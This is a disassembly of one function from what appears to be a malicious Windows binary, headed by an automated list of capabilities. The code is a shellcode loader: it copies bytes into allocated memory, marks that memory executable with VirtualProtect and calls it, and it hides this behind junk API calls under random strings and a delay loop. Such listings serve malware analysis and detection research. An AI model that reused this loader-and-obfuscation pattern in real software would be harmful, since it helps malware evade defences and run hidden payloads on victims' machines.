Function at 0x401602
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Get hostname
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41277b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1038
call fcn.00409c30
mov ecx, dword [0x1ddab00]
push esi
push edi
xor edi, edi
cmp ecx, 0x93
jne 0x4016fe
push edi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push edi
push edi
call dword [sym.imp.USER32.dll_SetMenu]
xor eax, eax
push edi
btr dword [eax], 0
lea eax, [esp + 0x444]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push edi
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x4186a8
push edi
call fcn.00403d40
push edi
call fcn.0040410c
add esp, 0xc
lea ecx, [esp + 0xc]
push str.bad_exception
call fcn.00401080
lea ecx, [esp + 0xc]
call fcn.0040109c
push edi
push edi
call fcn.00402f0e
push edi
call fcn.00403ba3
add esp, 0xc
push edi
call fcn.0040442a
pop ecx
push edi
call fcn.00403ba3
mov dword [esp], 0x4186bc
call fcn.00403bcd
pop ecx
lea ecx, [esp + 0xc]
call fcn.00401cda
lea eax, [esp + 8]
mov dword [esp + 0x104c], edi
push eax
lea ecx, [esp + 0x10]
mov dword [esp + 0xc], edi
call fcn.00401ce7
or dword [esp + 0x104c], 0xffffffff
lea ecx, [esp + 0xc]
call fcn.00401d14
mov ecx, dword [0x1ddab00]
mov eax, dword [0x41b3d0]
add ecx, 0x1134b
push ecx
push edi
mov dword [0x1ddab04], eax
mov dword [0x1ddab00], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x1c]
mov dword [0x1ddaa6c], eax
push ecx
push 0x40
push dword [0x1ddab00]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0xa90ee
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x40173a
mov edx, dword [0x1ddab00]
mov esi, edi
test edx, edx
je 0x4017b8
mov eax, dword [0x1ddab04]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x1ddaa6c]
mov byte [eax + esi], cl
cmp edx, 0x490
jne 0x4017b3
push str.jatupukuxijisovi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
push str.tajewubuxizacohemuyoceloruzey
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push edi
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x1c]
push eax
push edi
lea eax, [esp + 0x458]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [0x1ddab00]
inc esi
cmp esi, edx
jb 0x40174f
mov esi, edi
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x4017fc
push str.dubake
push edi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push edi
lea eax, [esp + 0x10]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push edi
push edi
push str.wuvoja
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov edx, dword [0x1ddab00]
inc esi
cmp esi, 0x38681
jl 0x4017ba
push ecx
call fcn.004015bf
mov esi, edi
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x62
jne 0x40181e
call fcn.004015e6
inc esi
cmp esi, 0x674db
jl 0x40180d
push 0x7b
pop esi
cmp dword [0x1ddab00], 0x86
jne 0x401870
push str.busamo
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push edi
push str.lojogihiwunaliriko
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0x24]
push eax
push str.tohudihujamagoboduyocabitit
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0xc44]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x1ddab00], 0xf
jne 0x401883
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec esi
jne 0x40182a
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x1ddaa6c]
mov dword [0x1ddaaf4], eax
call eax
mov ecx, dword [esp + 0x1044]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret